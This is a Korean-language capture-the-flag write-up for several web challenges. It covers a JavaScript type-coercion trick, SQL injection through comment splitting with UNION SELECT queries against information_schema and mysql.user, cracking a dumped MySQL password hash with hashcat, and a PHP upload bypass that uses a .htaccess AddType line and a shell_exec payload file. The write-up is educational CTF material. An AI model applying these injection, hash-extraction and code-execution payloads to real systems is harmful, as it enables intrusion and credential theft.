JavaScript Puzzle
const express = require('express')
const app = express()
const port = 8000
app.get('/', (req, res) => {
try {
const username = req.query.username || 'Guest'
const output = 'Hello ' + username
res.send(output)
}
catch (error) {
res.sendFile(__dirname + '/flag.txt')
}
})
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`)
})
'Hello ' + username 연산은 객체인 username을 문자열로 변환하기 위해 ToPrimitive를 수행한다. username.toString을 호출할 수 없는 값으로 덮으면 변환에 실패해 예외가 발생하고, catch에서 flag 파일을 반환한다.
username[toString]=1
Limited 1
@app.route('/query')
def query():
try:
price = float(request.args.get('price') or '0.00')
except:
price = 0.0
price_op = str(request.args.get('price_op') or '>')
if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
# allow for at most one space on either side
if len(price_op) > 4:
return 'price_op too long', 400
# I'm pretty sure the LIMIT clause cannot be used for an injection
# with MySQL 9.x
#
# This attack works in v5.5 but not later versions
# https://lightless.me/archives/111.html
limit = str(request.args.get('limit') or '1')
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
print('query:', query)
if ';' in query:
return 'Sorry, multiple statements are not allowed', 400
try:
cur = mysql.connection.cursor()
cur.execute(query)
records = cur.fetchall()
column_names = [desc[0] for desc in cur.description]
cur.close()
except Exception as e:
return str(e), 400
result = [dict(zip(column_names, row)) for row in records]
return jsonify(result)
SQL query를 실행할 때 price_op에 >/*, limit 앞부분에 */를 넣으면 SQL injection이 가능하다.
information_schema.processlist에서 실행 중인 query를 확인하면 query 내부의 주석으로 삽입된 flag를 볼 수 있다.
/query?price=11&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,INFO FROM information_schema.processlist
Limited 2
Limited 1과 같은 소스 코드를 사용하는 문제다. Flag로 시작하는 table의 값을 확인하면 된다.
/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,table_name FROM information_schema.tables
/query?price=5&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,column_name FROM information_schema.columns WHERE table_name='Flag_843423739'
/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,value FROM Flag_843423739
Limited 3
-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';
해당 문제의 MySQL은 password를 저장할 때 caching_sha2_password를 사용한다. 비밀번호가 rockyou에 있는 13글자라는 정보를 바탕으로 brute force를 진행했다.
UNION SELECT 1,2,3,
CONCAT('$mysql',
LEFT(authentication_string, 6),
'*',
INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')
) AS hash
FROM mysql.user
WHERE plugin = 'caching_sha2_password'
AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%'
AND user = 'flag'
우선 hash 값을 알아내기 위해 위 query를 사용했다.
$mysql$A$005*766E4F5E5D03106A4C027233476433535C4B5E20*3865726464724C6E39747276424F484B6B63742E37307966474C58742F4466634E58767371592F70325044
위의 값을 토대로 hashcat의 7401 옵션을 이용해(-m 7401 = MySQL 8+ caching_sha2_password 해시) flag를 구할 수 있었다.
hashcat -m 7401 -a 0 hashes rockyou-13.txt
Art Contest
if (isset($_FILES['fileToUpload'])) {
$target_file = basename($_FILES["fileToUpload"]["name"]);
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
$target_file_path = $target_dir . $target_file;
$uploadOk = 1;
$lastDotPosition = strrpos($target_file, '.');
// Check if file already exists
if (file_exists($target_file_path)) {
echo "Sorry, file already exists.\n";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 50000) {
echo "Sorry, your file is too large.\n";
$uploadOk = 0;
}
// If the file contains no dot, evaluate just the filename
if ($lastDotPosition == false) {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = '';
} else {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = substr($target_file, $lastDotPosition + 1);
}
// Ensure that the extension is a txt file
if ($extension !== '' && $extension !== 'txt') {
echo "Sorry, only .txt extensions are allowed.\n";
$uploadOk = 0;
}
if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
echo "Sorry, that is not a valid session ID.\n";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.\n";
} else {
// If everything is ok, try to upload the file
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
$old_path = getcwd();
chdir($target_dir);
// make unreadable - the proper way
shell_exec('chmod -- 000 *');
chdir($old_path);
}
PHP로 만든 파일 업로드 사이트다. ../를 삽입할 방법을 찾아봤지만 불가능했다.
문제에서는 업로드 이후 chmod -- 000 * 명령어로 업로드한 파일을 읽을 수 없게 만든다. 하지만 *를 사용하면 파일명이 .으로 시작하는 파일은 처리되지 않는다.
또한 if ($lastDotPosition == false) 조건문에서 점의 위치가 맨 앞이면 $lastDotPosition이 0이 되고, 느슨한 비교 때문에 조건식이 true가 된다. 점을 찾지 못한 경우만 확인하려면 === false를 사용해야 한다.
따라서 Apache가 해당 디렉터리의 .htaccess와 AddType 지시어를 허용하는 문제 환경에서는 .txt 파일을 PHP 파일처럼 실행해 flag를 읽을 수 있다.
.htaccess
AddType application/x-httpd-php .txt
.getflag.txt
<?php
header("Content-Type: text/plain");
echo "Path: " . realpath('../../get_flag') . "\n";
echo "Exists: " . (file_exists('../../get_flag') ? 'Yes' : 'No') . "\n";
echo "Output:\n";
$output = shell_exec('cd /var/www/html && ./get_flag 2>&1');
echo $output;